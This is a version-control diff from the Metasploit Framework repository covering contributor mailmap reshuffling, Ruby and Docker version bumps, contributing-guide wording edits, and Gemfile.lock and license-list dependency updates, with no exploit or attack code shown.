Land #12627 , alter scanner info method for check

automatic module_metadata_base.json update
Land #12646 , ms04_007 reliability and stability updates
2019-12-04 15:04:11 +00:00 · 2019-12-03 19:30:58 -06:00 · 2019-12-03 20:22:37 -05:00 · 2019-12-03 20:22:05 -05:00 · 2019-12-03 19:17:44 -06:00 · 2019-12-03 20:08:21 -05:00
779 changed files with 57183 additions and 8605 deletions
@@ -1,59 +1,40 @@
-acammack-r7 <acammack-r7@github>     <acammack@aus-mbp-1099.aus.rapid7.com>
-acammack-r7 <acammack-r7@github>     <adam_cammack@rapid7.com>
-acammack-r7 <acammack-r7@github>     <Adam_Cammack@rapid7.com>
-asoto-r7 <asoto-r7@github>           <aaron_soto@rapid7.com>
-bcook-r7 <bcook-r7@github>           <bcook@rapid7.com>
-bcook-r7 <bcook-r7@github>           <busterb@gmail.com>
-bpatterson-r7 <bpatterson-r7@github> <“bpatterson@rapid7.com”>
-bpatterson-r7 <bpatterson-r7@github> <Brian_Patterson@rapid7.com>
-bturner-r7 <bturner-r7@github>       <brandon_turner@rapid7.com>
-bwatters-r7 <bwatters-r7@github>     <bwatters@rapid7.com>
-cdoughty-r7 <cdoughty-r7@github>     <chris_doughty@rapid7.com>
-dheiland-r7 <dheiland-r7@github>     <dh@layereddefense.com>
-dmaloney-r7 <dmaloney-r7@github>     <David_Maloney@rapid7.com>
-dmaloney-r7 <dmaloney-r7@github>     <DMaloney@rapid7.com>
-dmohanty-r7 <dmohanty-r7@github>     <Dev_Mohanty@rapid7.com>
-ecarey-r7 <ecarey-r7@github>         <e@ipwnstuff.com>
-egypt <egypt@github>                 <egypt@metasploit.com> # aka egypt
-egypt <egypt@github>                 <james_lee@rapid7.com>
-jbarnett-r7 <jbarnett-r7@github>     <James_Barnett@rapid7.com>
-jbarnett-r7 <jbarnett-r7@github>     <jbarnett@rapid7.com>
-jhart-r7 <jhart-r7@github>           <jon_hart@rapid7.com>
-jinq102030 <jinq102030@github>       <Jin_Qian@rapid7.com>
-jinq102030 <jinq102030@github>       <jqian@rapid7.com>
-jmartin-r7 <jmartin-r7@github>       <Jeffrey_Martin@rapid7.com>
-kgray-r7 <kgray-r7@github>           <kyle_gray@rapid7.com>
-khayes-r7 <khayes-r7@github>         <Kirk_Hayes@rapid7.com>
-lsanchez-r7 <lsanchez-r7@github>     <lance@aus-mac-1041.aus.rapid7.com>
-lsanchez-r7 <lsanchez-r7@github>     <lance@AUS-MAC-1041.local>
-lsanchez-r7 <lsanchez-r7@github>     <lance.sanchez+github@gmail.com>
-lsanchez-r7 <lsanchez-r7@github>     <lance.sanchez@gmail.com>
-lsanchez-r7 <lsanchez-r7@github>     <lance.sanchez@rapid7.com>
-lsato-r7 <lsato-r7@github>           <lsato@rapid7.com>
-lvarela-r7 <lvarela-r7@github>       <“leonardo_varela@rapid7.com”>
-mkienow-r7 <mkienow-r7@github>       <matthew_kienow@rapid7.com>
-pbarry-r7 <pbarry-r7@github>         <pearce_barry@rapid7.com>
-pdeardorff-r7 <pdeardorff-r7@github> <paul_deardorff@rapid7.com>
-pdeardorff-r7 <pdeardorff-r7@github> <Paul_Deardorff@rapid7.com>
-sdavis-r7 <sdavis-r7@github>         <scott_davis@rapid7.com>
-sdavis-r7 <sdavis-r7@github>         <Scott_Davis@rapid7.com>
-sdavis-r7 <sdavis-r7@github>         <sdavis@rapid7.com>
-sgonzalez-r7 <sgonzalez-r7@github>   <sgonzalez@rapid7.com>
-sgonzalez-r7 <sgonzalez-r7@github>   <sonny_gonzalez@rapid7.com>
-shuckins-r7 <shuckins-r7@github>     <samuel_huckins@rapid7.com>
-space-r7 <space-r7@github>           <shelby_pace@rapid7.com>
-tatanus <tatanus@github>             <adam_compton@rapid7.com>
-tdoan-r7 <tdoan-r7@github>           <thao_doan@rapid7.com>
-todb-r7 <todb-r7@github>             <tod_beardsley@rapid7.com>
-todb-r7 <todb-r7@github>             <todb@metasploit.com>
-todb-r7 <todb-r7@github>             <todb@packetfu.com>
-wchen-r7 <wchen-r7@github>           <msfsinn3r@gmail.com> # aka sinn3r
-wchen-r7 <wchen-r7@github>           <wei_chen@rapid7.com>
-wvu-r7 <wvu-r7@github>               <William_Vu@rapid7.com>
-wvu-r7 <wvu-r7@github>               <wvu@cs.nmt.edu>
-wvu-r7 <wvu-r7@github>               <wvu@metasploit.com>
-wwalker-r7 <wwalker-r7@github>       <wyatt_walker@rapid7.com>
-wwebb-r7 <wwebb-r7@github>           <William_Webb@rapid7.com>
+acammack-r7 <acammack-r7@github>       <acammack@aus-mbp-1099.aus.rapid7.com>
+acammack-r7 <acammack-r7@github>       <adam_cammack@rapid7.com>
+acammack-r7 <acammack-r7@github>       <Adam_Cammack@rapid7.com>
+adamgalway-r7 <adamgalway-r7@github>   <adam_galway@rapid7.com>
+bcook-r7 <bcook-r7@github>             <bcook@rapid7.com>
+bcook-r7 <bcook-r7@github>             <busterb@gmail.com>
+bturner-r7 <bturner-r7@github>         <brandon_turner@rapid7.com>
+bwatters-r7 <bwatters-r7@github>       <bwatters@rapid7.com>
+cdelafuente-r7 <cdelafuente-r7@github> Christophe De La Fuente <christophe_delafuente@rapid7.com>
+cdoughty-r7 <cdoughty-r7@github>       <chris_doughty@rapid7.com>
+dheiland-r7 <dheiland-r7@github>       <dh@layereddefense.com>
+dwelch-r7 <dwelch-r7@github>           <dean_welch@rapid7.com>
+ecarey-r7 <ecarey-r7@github>           <e@ipwnstuff.com>
+jbarnett-r7 <jbarnett-r7@github>       <James_Barnett@rapid7.com>
+jbarnett-r7 <jbarnett-r7@github>       <jbarnett@rapid7.com>
+jinq102030 <jinq102030@github>         <Jin_Qian@rapid7.com>
+jinq102030 <jinq102030@github>         <jqian@rapid7.com>
+jmartin-r7 <jmartin-r7@github>         <Jeffrey_Martin@rapid7.com>
+lsato-r7 <lsato-r7@github>             <lsato@rapid7.com>
+lvarela-r7 <lvarela-r7@github>         <“leonardo_varela@rapid7.com”>
+mkienow-r7 <mkienow-r7@github>         <matthew_kienow@rapid7.com>
+pbarry-r7 <pbarry-r7@github>           <pearce_barry@rapid7.com>
+pdeardorff-r7 <pdeardorff-r7@github>   <paul_deardorff@rapid7.com>
+pdeardorff-r7 <pdeardorff-r7@github>   <Paul_Deardorff@rapid7.com>
+sgonzalez-r7 <sgonzalez-r7@github>     <sgonzalez@rapid7.com>
+sgonzalez-r7 <sgonzalez-r7@github>     <sonny_gonzalez@rapid7.com>
+shuckins-r7 <shuckins-r7@github>       <samuel_huckins@rapid7.com>
+space-r7 <space-r7@github>             <shelby_pace@rapid7.com>
+tdoan-r7 <tdoan-r7@github>             <thao_doan@rapid7.com>
+todb-r7 <todb-r7@github>               <tod_beardsley@rapid7.com>
+todb-r7 <todb-r7@github>               <todb@metasploit.com>
+todb-r7 <todb-r7@github>               <todb@packetfu.com>
+wchen-r7 <wchen-r7@github>             <msfsinn3r@gmail.com> # aka sinn3r
+wchen-r7 <wchen-r7@github>             <wei_chen@rapid7.com>
+wvu-r7 <wvu-r7@github>                 <William_Vu@rapid7.com>
+wvu-r7 <wvu-r7@github>                 <wvu@nmt.edu>
+wwalker-r7 <wwalker-r7@github>         <wyatt_walker@rapid7.com>

 # Above this line are current Rapid7 employees. Below this paragraph are
 # volunteers, former employees, and potential Rapid7 employees who, at
@@ -62,9 +43,12 @@ wwebb-r7 <wwebb-r7@github>           <William_Webb@rapid7.com>
 # periodically. If you're on this list and would like to not be, just
 # let todb@metasploit.com know.

+asoto-r7 <asoto-r7@github>             <aaron_soto@rapid7.com>
 bannedit <bannedit@github>             David Rude <bannedit0@gmail.com>
 bcoles <bcoles@github>                 bcoles <bcoles@gmail.com>
 bokojan <bokojan@github>               parzamendi-r7 <peter_arzamendi@rapid7.com>
+bpatterson-r7 <bpatterson-r7@github>   <bpatterson@rapid7.com>
+bpatterson-r7 <bpatterson-r7@github>   <Brian_Patterson@rapid7.com>
 brandonprry <brandonprry@github>       <bperry@brandons-mbp.attlocal.net>
 brandonprry <brandonprry@github>       Brandon Perry <bperry@bperry-rapid7.(none)>
 brandonprry <brandonprry@github>       Brandon Perry <bperry.volatile@gmail.com>
@@ -83,8 +67,13 @@ corelanc0d3r <corelanc0d3r@github>     Peter Van Eeckhoutte (corelanc0d3r) <pete
 crcatala <crcatala@github>             Christian Catalan <ccatalan@rapid7.com>
 darkoperator <darkoperator@github>     Carlos Perez <carlos_perez@darkoperator.com>
 DanielRTeixeira <DanielRTeixeira@github> Daniel Teixeira <danieljcrteixeira@gmail.com>
+dmaloney-r7 <dmaloney-r7@github>       <David_Maloney@rapid7.com>
+dmaloney-r7 <dmaloney-r7@github>       <DMaloney@rapid7.com>
+dmohanty-r7 <dmohanty-r7@github>       <Dev_Mohanty@rapid7.com>
 efraintorres <efraintorres@github>     efraintorres <etlownoise@gmail.com>
 efraintorres <efraintorres@github>     et <>
+egypt <egypt@github>                   <egypt@metasploit.com> # aka egypt
+egypt <egypt@github>                   <james_lee@rapid7.com>
 espreto <espreto@github>               <robertoespreto@gmail.com>
 fab <fab@???>                          fab <> # fab at revhosts.net (Fabrice MOURRON)
 farias-r7 <farias-r7@github>           <fernando_arias@rapid7.com>
@@ -110,6 +99,7 @@ jcran <jcran@github>                   <jcran@rapid7.com>
 jduck <jduck@github>                   <github.jdrake@qoop.org>
 jduck <jduck@github>                   <jdrake@qoop.org>
 jgor <jgor@github>                     jgor <jgor@indiecom.org>
+jhart-r7 <jhart-r7@github>             <jon_hart@rapid7.com>
 joevennix <joevennix@github>           Joe Vennix <joevennix@gmail.com>
 joevennix <joevennix@github>           <Joe_Vennix@rapid7.com>
 joevennix <joevennix@github>           <joev@metasploit.com>
@@ -119,9 +109,15 @@ juanvazquez <juanvazquez@github>       jvazquez-r7 <juan_vazquez@rapid7.com>
 kernelsmith <kernelsmith@github>       Joshua Smith <kernelsmith@kernelsmith.com>
 kernelsmith <kernelsmith@github>       Joshua Smith <kernelsmith@metasploit.com>
 kernelsmith <kernelsmith@github>       kernelsmith <kernelsmith@kernelsmith>
+kgray-r7 <kgray-r7@github>             <kyle_gray@rapid7.com>
 kost <kost@github>                     Vlatko Kosturjak <kost@linux.hr>
 kris <kris@???>                        kris <>
 KronicDeth <KronicDeth@github>         Luke Imhoff <luke_imhoff@rapid7.com>
+lsanchez-r7 <lsanchez-r7@github>       <lance@aus-mac-1041.aus.rapid7.com>
+lsanchez-r7 <lsanchez-r7@github>       <lance@AUS-MAC-1041.local>
+lsanchez-r7 <lsanchez-r7@github>       <lance.sanchez+github@gmail.com>
+lsanchez-r7 <lsanchez-r7@github>       <lance.sanchez@gmail.com>
+lsanchez-r7 <lsanchez-r7@github>       <lance.sanchez@rapid7.com>
 m-1-k-3 <m-1-k-3@github>               m-1-k-3 <github@s3cur1ty.de>
 m-1-k-3 <m-1-k-3@github>               m-1-k-3 <m1k3@s3cur1ty.de>
 m-1-k-3 <m-1-k-3@github>               m-1-k-3 <michael.messner@integralis.com>
@@ -151,12 +147,16 @@ rwhitcroft <rwhitcroft@github>         <rwhitcroft@users.noreply.github.com>
 schierlm <schierlm@github>             Michael Schierl <schierlm@gmx.de> # Aka mihi
 scriptjunkie <scriptjunkie@github>     Matt Weeks <scriptjunkie@scriptjunkie.us>
 scriptjunkie <scriptjunkie@github>     scriptjunkie <scriptjunkie@scriptjunkie.us>
+sdavis-r7 <sdavis-r7@github>           <scott_davis@rapid7.com>
+sdavis-r7 <sdavis-r7@github>           <Scott_Davis@rapid7.com>
+sdavis-r7 <sdavis-r7@github>           <sdavis@rapid7.com>
 skape <skape@???>                      Matt Miller <mmiller@hick.org>
 spoonm <spoonm@github>                 Spoon M <spoonm@gmail.com>
 stufus <stufus@github>                 Stuart Morgan <stuart.morgan@mwrinfosecurity.com>
 stufus <stufus@github>                 Stuart <stufus@users.noreply.github.com>
 swtornio <swtornio@github>             Steve Tornio <swtornio@gmail.com>
 Tasos Laskos <Tasos_Laskos@rapid7.com> Tasos Laskos <Tasos_Laskos@rapid7.com>
+tatanus <tatanus@github>               <adam_compton@rapid7.com>
 techpeace <techpeace@github>           Matt Buck <Matthew_Buck@rapid7.com>
 techpeace <techpeace@github>           Matt Buck <techpeace@gmail.com>
 timwr <timwr@github>                   <timrlw@gmail.com>
@@ -164,6 +164,7 @@ TomSellers <TomSellers@github>         Tom Sellers <tom@fadedcode.net>
 trevrosen <trevrosen@github>           Trevor Rosen <trevor@catapult-creative.com>
 trevrosen <trevrosen@github>           Trevor Rosen <Trevor_Rosen@rapid7.com>
 TrustedSec <davek@trustedsec.com>      trustedsec <davek@trustedsec.com>
+wwebb-r7 <wwebb-r7@github>             <William_Webb@rapid7.com>
 void-in <void-in@github>               void_in <root@localhost.localdomain>
 void-in <void-in@github>               void-in <root@localhost.localdomain>
 void-in <void-in@github>               <void-in@users.noreply.github.com>
@@ -119,7 +119,7 @@ Naming/UncommunicativeMethodParamName:

 # %q() is super useful for long strings split over multiple lines and
 # is very common in module constructors for things like descriptions
-Style/UnneededPercentQ:
+Style/RedundantPercentQ:
  Enabled: false

 Style/NumericLiterals:
@@ -1 +1 @@
-2.6.2
+2.6.5
@@ -11,8 +11,8 @@ addons:
      - graphviz
 language: ruby
 rvm:
-  - '2.5.5'
-  - '2.6.2'
+  - '2.5.7'
+  - '2.6.5'

 env:
  - CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"'
@@ -2,9 +2,9 @@

 Thanks for your interest in making Metasploit -- and therefore, the
 world -- a better place!  Before you get started, review our
-[Code of Conduct].  There are mutliple ways to help beyond just writing code:
+[Code of Conduct].  There are multiple ways to help beyond just writing code:
 - [Submit bugs and feature requests] with detailed information about your issue or idea.
- - [Help fellow users with open issues] or [help fellow committers test recent pull requests].
+ - [Help fellow users with open issues] or [help fellow committers test recently submitted pull requests].
 - [Report a security vulnerability in Metasploit itself] to Rapid7.
 - Submit an updated or brand new module!  We are always eager for exploits, scanners, and new
   integrations or features. Don't know where to start? Set up a [development environment], then head over to ExploitDB to look for [proof-of-concept exploits] that might make a good module.
@@ -36,6 +36,7 @@ it into Metasploit's master branch.  If you do not care to follow these rules, y
 * **Do** [reference associated issues] in your pull request description.
 * **Don't** leave your pull request description blank.
 * **Don't** abandon your pull request. Being responsive helps us land your code faster.
+* **Don't** post questions in older closed PRs.

 Pull request [PR#9966] is a good example to follow.

@@ -69,6 +70,7 @@ When reporting Metasploit issues:
 * **Do** write a detailed description of your bug and use a descriptive title.
 * **Do** include reproduction steps, stack traces, and anything that might help us fix your bug.
 * **Don't** file duplicate reports; search for your bug before filing a new report.
+* **Don't** attempt to report issues on a closed PR.

 If you need some more guidance, talk to the main body of open source contributors over on our
 [Metasploit Slack] or [#metasploit on Freenode IRC].
@@ -1,4 +1,4 @@
-FROM ruby:2.6.2-alpine3.9 AS builder
+FROM ruby:2.6.5-alpine3.10 AS builder
 LABEL maintainer="Rapid7"

 ARG BUNDLER_ARGS="--jobs=8 --without development test coverage"
@@ -36,7 +36,7 @@ RUN apk add --no-cache \
    && chmod -R a+r /usr/local/bundle


-FROM ruby:2.6.2-alpine3.9
+FROM ruby:2.6.5-alpine3.10
 LABEL maintainer="Rapid7"

 ENV APP_HOME=/usr/src/metasploit-framework
@@ -51,8 +51,11 @@ RUN apk add --no-cache bash sqlite-libs nmap nmap-scripts nmap-nselibs postgresq
 RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
 RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap)

-COPY --chown=root:metasploit --from=builder /usr/local/bundle /usr/local/bundle
-COPY --chown=root:metasploit . $APP_HOME/
+COPY --from=builder /usr/local/bundle /usr/local/bundle
+RUN chown -R root:metasploit /usr/local/bundle
+COPY . $APP_HOME/
+RUN chown -R root:metasploit $APP_HOME/
+RUN chmod 664 $APP_HOME/Gemfile.lock
 RUN cp -f $APP_HOME/docker/database.yml $APP_HOME/config/database.yml

 WORKDIR $APP_HOME
@@ -1,7 +1,7 @@
 PATH
  remote: .
  specs:
-    metasploit-framework (5.0.36)
+    metasploit-framework (5.0.63)
      actionpack (~> 4.2.6)
      activerecord (~> 4.2.6)
      activesupport (~> 4.2.6)
@@ -9,7 +9,7 @@ PATH
      aws-sdk-iam
      aws-sdk-s3
      backports
-      bcrypt
+      bcrypt (= 3.1.12)
      bcrypt_pbkdf
      bit-struct
      concurrent-ruby (= 1.0.5)
@@ -17,6 +17,7 @@ PATH
      ed25519
      em-http-request
      faker
+      faraday (<= 0.17.0)
      filesize
      jsobfu
      json
@@ -24,7 +25,7 @@ PATH
      metasploit-concern
      metasploit-credential
      metasploit-model
-      metasploit-payloads (= 1.3.70)
+      metasploit-payloads (= 1.3.79)
      metasploit_data_models (= 3.0.10)
      metasploit_payloads-mettle (= 0.5.16)
      mqtt
@@ -59,7 +60,7 @@ PATH
      rex-random_identifier
      rex-registry
      rex-rop_builder
-      rex-socket (= 0.1.17)
+      rex-socket
      rex-sslscan
      rex-struct2
      rex-text
@@ -108,36 +109,36 @@ GEM
      minitest (~> 5.1)
      thread_safe (~> 0.3, >= 0.3.4)
      tzinfo (~> 1.1)
-    addressable (2.6.0)
-      public_suffix (>= 2.0.2, < 4.0)
+    addressable (2.7.0)
+      public_suffix (>= 2.0.2, < 5.0)
    afm (0.2.2)
    arel (6.0.4)
-    arel-helpers (2.9.1)
+    arel-helpers (2.10.0)
      activerecord (>= 3.1.0, < 7)
    aws-eventstream (1.0.3)
-    aws-partitions (1.184.0)
-    aws-sdk-core (3.59.0)
+    aws-partitions (1.246.0)
+    aws-sdk-core (3.82.0)
      aws-eventstream (~> 1.0, >= 1.0.2)
-      aws-partitions (~> 1.0)
+      aws-partitions (~> 1, >= 1.239.0)
      aws-sigv4 (~> 1.1)
      jmespath (~> 1.0)
-    aws-sdk-ec2 (1.99.0)
-      aws-sdk-core (~> 3, >= 3.58.0)
+    aws-sdk-ec2 (1.121.0)
+      aws-sdk-core (~> 3, >= 3.71.0)
      aws-sigv4 (~> 1.1)
-    aws-sdk-iam (1.27.0)
-      aws-sdk-core (~> 3, >= 3.58.0)
+    aws-sdk-iam (1.32.0)
+      aws-sdk-core (~> 3, >= 3.71.0)
      aws-sigv4 (~> 1.1)
-    aws-sdk-kms (1.23.0)
-      aws-sdk-core (~> 3, >= 3.58.0)
+    aws-sdk-kms (1.26.0)
+      aws-sdk-core (~> 3, >= 3.71.0)
      aws-sigv4 (~> 1.1)
-    aws-sdk-s3 (1.45.0)
-      aws-sdk-core (~> 3, >= 3.58.0)
+    aws-sdk-s3 (1.57.0)
+      aws-sdk-core (~> 3, >= 3.77.0)
      aws-sdk-kms (~> 1)
      aws-sigv4 (~> 1.1)
    aws-sigv4 (1.1.0)
      aws-eventstream (~> 1.0, >= 1.0.2)
    backports (3.15.0)
-    bcrypt (3.1.13)
+    bcrypt (3.1.12)
    bcrypt_pbkdf (1.0.1)
    bindata (2.4.4)
    bit-struct (0.16)
@@ -145,10 +146,10 @@ GEM
    coderay (1.1.2)
    concurrent-ruby (1.0.5)
    cookiejar (0.3.3)
-    crass (1.0.4)
+    crass (1.0.5)
    daemons (1.3.1)
    diff-lcs (1.3)
-    dnsruby (1.61.2)
+    dnsruby (1.61.3)
      addressable (~> 2.5)
    docile (1.3.2)
    ed25519 (1.2.4)
@@ -162,14 +163,14 @@ GEM
      eventmachine (>= 1.0.0.beta.4)
    erubis (2.7.0)
    eventmachine (1.2.7)
-    factory_bot (5.0.2)
+    factory_bot (5.1.1)
      activesupport (>= 4.2.0)
-    factory_bot_rails (5.0.2)
-      factory_bot (~> 5.0.2)
+    factory_bot_rails (5.1.1)
+      factory_bot (~> 5.1.0)
      railties (>= 4.2.0)
-    faker (1.9.5)
-      i18n (>= 0.7)
-    faraday (0.15.4)
+    faker (2.2.1)
+      i18n (>= 0.8)
+    faraday (0.17.0)
      multipart-post (>= 1.2, < 3)
    filesize (0.2.0)
    fivemat (1.3.7)
@@ -181,7 +182,7 @@ GEM
    jsobfu (0.4.2)
      rkelly-remix
    json (2.2.0)
-    loofah (2.2.3)
+    loofah (2.4.0)
      crass (~> 1.0.2)
      nokogiri (>= 1.5.9)
    metasm (1.0.4)
@@ -203,7 +204,7 @@ GEM
      activemodel (~> 4.2.6)
      activesupport (~> 4.2.6)
      railties (~> 4.2.6)
-    metasploit-payloads (1.3.70)
+    metasploit-payloads (1.3.79)
    metasploit_data_models (3.0.10)
      activerecord (~> 4.2.6)
      activesupport (~> 4.2.6)
@@ -217,15 +218,15 @@ GEM
    metasploit_payloads-mettle (0.5.16)
    method_source (0.9.2)
    mini_portile2 (2.4.0)
-    minitest (5.11.3)
+    minitest (5.13.0)
    mqtt (0.5.0)
-    msgpack (1.3.0)
+    msgpack (1.3.1)
    multipart-post (2.1.1)
    nessus_rest (0.1.6)
    net-ssh (5.2.0)
    network_interface (0.0.2)
    nexpose (7.2.1)
-    nokogiri (1.10.3)
+    nokogiri (1.10.5)
      mini_portile2 (~> 2.4.0)
    octokit (4.14.0)
      sawyer (~> 0.8.0, >= 0.5.3)
@@ -235,7 +236,7 @@ GEM
      pcaprub
    patch_finder (1.0.2)
    pcaprub (0.13.0)
-    pdf-reader (2.2.0)
+    pdf-reader (2.4.0)
      Ascii85 (~> 1.0.0)
      afm (~> 0.2.1)
      hashery (~> 2.0)
@@ -250,7 +251,7 @@ GEM
    pry (0.12.2)
      coderay (~> 1.1.0)
      method_source (~> 0.9.0)
-    public_suffix (3.1.1)
+    public_suffix (4.0.1)
    rack (1.6.11)
    rack-protection (1.5.5)
      rack
@@ -262,18 +263,18 @@ GEM
      activesupport (>= 4.2.0, < 5.0)
      nokogiri (~> 1.6)
      rails-deprecated_sanitizer (>= 1.0.1)
-    rails-html-sanitizer (1.0.4)
-      loofah (~> 2.2, >= 2.2.2)
+    rails-html-sanitizer (1.3.0)
+      loofah (~> 2.3)
    railties (4.2.11.1)
      actionpack (= 4.2.11.1)
      activesupport (= 4.2.11.1)
      rake (>= 0.8.7)
      thor (>= 0.18.1, < 2.0)
-    rake (12.3.2)
+    rake (13.0.1)
    rb-readline (0.5.5)
-    recog (2.3.2)
+    recog (2.3.6)
      nokogiri
-    redcarpet (3.4.0)
+    redcarpet (3.5.0)
    rex-arch (0.1.13)
      rex-text
    rex-bin_tools (0.1.6)
@@ -300,7 +301,7 @@ GEM
      rex-arch
    rex-ole (0.1.6)
      rex-text
-    rex-powershell (0.1.82)
+    rex-powershell (0.1.83)
      rex-random_identifier
      rex-text
    rex-random_identifier (0.1.4)
@@ -310,40 +311,40 @@ GEM
      metasm
      rex-core
      rex-text
-    rex-socket (0.1.17)
+    rex-socket (0.1.21)
      rex-core
    rex-sslscan (0.1.5)
      rex-core
      rex-socket
      rex-text
    rex-struct2 (0.1.2)
-    rex-text (0.2.21)
+    rex-text (0.2.24)
    rex-zip (0.1.3)
      rex-text
    rkelly-remix (0.0.7)
-    rspec (3.8.0)
-      rspec-core (~> 3.8.0)
-      rspec-expectations (~> 3.8.0)
-      rspec-mocks (~> 3.8.0)
-    rspec-core (3.8.2)
-      rspec-support (~> 3.8.0)
-    rspec-expectations (3.8.4)
+    rspec (3.9.0)
+      rspec-core (~> 3.9.0)
+      rspec-expectations (~> 3.9.0)
+      rspec-mocks (~> 3.9.0)
+    rspec-core (3.9.0)
+      rspec-support (~> 3.9.0)
+    rspec-expectations (3.9.0)
      diff-lcs (>= 1.2.0, < 2.0)
-      rspec-support (~> 3.8.0)
-    rspec-mocks (3.8.1)
+      rspec-support (~> 3.9.0)
+    rspec-mocks (3.9.0)
      diff-lcs (>= 1.2.0, < 2.0)
-      rspec-support (~> 3.8.0)
-    rspec-rails (3.8.2)
+      rspec-support (~> 3.9.0)
+    rspec-rails (3.9.0)
      actionpack (>= 3.0)
      activesupport (>= 3.0)
      railties (>= 3.0)
-      rspec-core (~> 3.8.0)
-      rspec-expectations (~> 3.8.0)
-      rspec-mocks (~> 3.8.0)
-      rspec-support (~> 3.8.0)
+      rspec-core (~> 3.9.0)
+      rspec-expectations (~> 3.9.0)
+      rspec-mocks (~> 3.9.0)
+      rspec-support (~> 3.9.0)
    rspec-rerun (1.1.0)
      rspec (~> 3.0)
-    rspec-support (3.8.2)
+    rspec-support (3.9.0)
    ruby-macho (2.2.0)
    ruby-rc4 (0.1.5)
    ruby_smb (1.1.0)
@@ -351,11 +352,11 @@ GEM
      rubyntlm
      windows_error
    rubyntlm (0.6.2)
-    rubyzip (1.2.3)
+    rubyzip (2.0.0)
    sawyer (0.8.2)
      addressable (>= 2.3.5)
      faraday (> 0.8, < 2.0)
-    simplecov (0.17.0)
+    simplecov (0.17.1)
      docile (~> 1.1)
      json (>= 1.8, < 3)
      simplecov-html (~> 0.10.0)
@@ -366,19 +367,19 @@ GEM
      tilt (>= 1.3, < 3)
    sqlite3 (1.3.13)
    sshkey (2.0.0)
-    swagger-blocks (2.0.2)
+    swagger-blocks (3.0.0)
    thin (1.7.2)
      daemons (~> 1.0, >= 1.0.9)
      eventmachine (~> 1.0, >= 1.0.4)
      rack (>= 1, < 3)
    thor (0.20.3)
    thread_safe (0.3.6)
-    tilt (2.0.9)
+    tilt (2.0.10)
    timecop (0.9.1)
    ttfunk (1.5.1)
    tzinfo (1.2.5)
      thread_safe (~> 0.1)
-    tzinfo-data (1.2019.2)
+    tzinfo-data (1.2019.3)
      tzinfo (>= 1.0.0)
    warden (1.2.7)
      rack (>= 1.0)
@@ -5,20 +5,20 @@ actionview, 4.2.11.1, MIT
 activemodel, 4.2.11.1, MIT
 activerecord, 4.2.11.1, MIT
 activesupport, 4.2.11.1, MIT
-addressable, 2.6.0, "Apache 2.0"
+addressable, 2.7.0, "Apache 2.0"
 afm, 0.2.2, MIT
 arel, 6.0.4, MIT
-arel-helpers, 2.9.1, MIT
+arel-helpers, 2.10.0, MIT
 aws-eventstream, 1.0.3, "Apache 2.0"
-aws-partitions, 1.184.0, "Apache 2.0"
-aws-sdk-core, 3.59.0, "Apache 2.0"
-aws-sdk-ec2, 1.99.0, "Apache 2.0"
-aws-sdk-iam, 1.27.0, "Apache 2.0"
-aws-sdk-kms, 1.23.0, "Apache 2.0"
-aws-sdk-s3, 1.45.0, "Apache 2.0"
+aws-partitions, 1.246.0, "Apache 2.0"
+aws-sdk-core, 3.82.0, "Apache 2.0"
+aws-sdk-ec2, 1.121.0, "Apache 2.0"
+aws-sdk-iam, 1.32.0, "Apache 2.0"
+aws-sdk-kms, 1.26.0, "Apache 2.0"
+aws-sdk-s3, 1.57.0, "Apache 2.0"
 aws-sigv4, 1.1.0, "Apache 2.0"
 backports, 3.15.0, MIT
-bcrypt, 3.1.13, MIT
+bcrypt, 3.1.12, MIT
 bcrypt_pbkdf, 1.0.1, MIT
 bindata, 2.4.4, ruby
 bit-struct, 0.16, ruby
@@ -27,20 +27,20 @@ bundler, 1.17.3, MIT
 coderay, 1.1.2, MIT
 concurrent-ruby, 1.0.5, MIT
 cookiejar, 0.3.3, unknown
-crass, 1.0.4, MIT
+crass, 1.0.5, MIT
 daemons, 1.3.1, MIT
 diff-lcs, 1.3, "MIT, Artistic-2.0, GPL-2.0+"
-dnsruby, 1.61.2, "Apache 2.0"
+dnsruby, 1.61.3, "Apache 2.0"
 docile, 1.3.2, MIT
 ed25519, 1.2.4, MIT
 em-http-request, 1.1.5, MIT
 em-socksify, 0.3.2, MIT
 erubis, 2.7.0, MIT
 eventmachine, 1.2.7, "ruby, GPL-2.0"
-factory_bot, 5.0.2, MIT
-factory_bot_rails, 5.0.2, MIT
-faker, 1.9.5, MIT
-faraday, 0.15.4, MIT
+factory_bot, 5.1.1, MIT
+factory_bot_rails, 5.1.1, MIT
+faker, 2.2.1, MIT
+faraday, 0.17.1, MIT
 filesize, 0.2.0, MIT
 fivemat, 1.3.7, MIT
 hashery, 2.1.2, "Simplified BSD"
@@ -49,49 +49,49 @@ i18n, 0.9.5, MIT
 jmespath, 1.4.0, "Apache 2.0"
 jsobfu, 0.4.2, "New BSD"
 json, 2.2.0, ruby
-loofah, 2.2.3, MIT
+loofah, 2.4.0, MIT
 metasm, 1.0.4, LGPL-2.1
 metasploit-concern, 2.0.5, "New BSD"
 metasploit-credential, 3.0.3, "New BSD"
-metasploit-framework, 5.0.36, "New BSD"
+metasploit-framework, 5.0.63, "New BSD"
 metasploit-model, 2.0.4, "New BSD"
-metasploit-payloads, 1.3.70, "3-clause (or ""modified"") BSD"
+metasploit-payloads, 1.3.79, "3-clause (or ""modified"") BSD"
 metasploit_data_models, 3.0.10, "New BSD"
 metasploit_payloads-mettle, 0.5.16, "3-clause (or ""modified"") BSD"
 method_source, 0.9.2, MIT
 mini_portile2, 2.4.0, MIT
-minitest, 5.11.3, MIT
+minitest, 5.13.0, MIT
 mqtt, 0.5.0, MIT
-msgpack, 1.3.0, "Apache 2.0"
+msgpack, 1.3.1, "Apache 2.0"
 multipart-post, 2.1.1, MIT
 nessus_rest, 0.1.6, MIT
 net-ssh, 5.2.0, MIT
 network_interface, 0.0.2, MIT
 nexpose, 7.2.1, "New BSD"
-nokogiri, 1.10.3, MIT
+nokogiri, 1.10.5, MIT
 octokit, 4.14.0, MIT
 openssl-ccm, 1.2.2, MIT
 openvas-omp, 0.0.4, MIT
 packetfu, 1.1.13, BSD
 patch_finder, 1.0.2, "New BSD"
 pcaprub, 0.13.0, LGPL-2.1
-pdf-reader, 2.2.0, MIT
+pdf-reader, 2.4.0, MIT
 pg, 0.21.0, "New BSD"
 pg_array_parser, 0.0.9, unknown
 postgres_ext, 3.0.1, MIT
 pry, 0.12.2, MIT
-public_suffix, 3.1.1, MIT
+public_suffix, 4.0.1, MIT
 rack, 1.6.11, MIT
 rack-protection, 1.5.5, MIT
 rack-test, 0.6.3, MIT
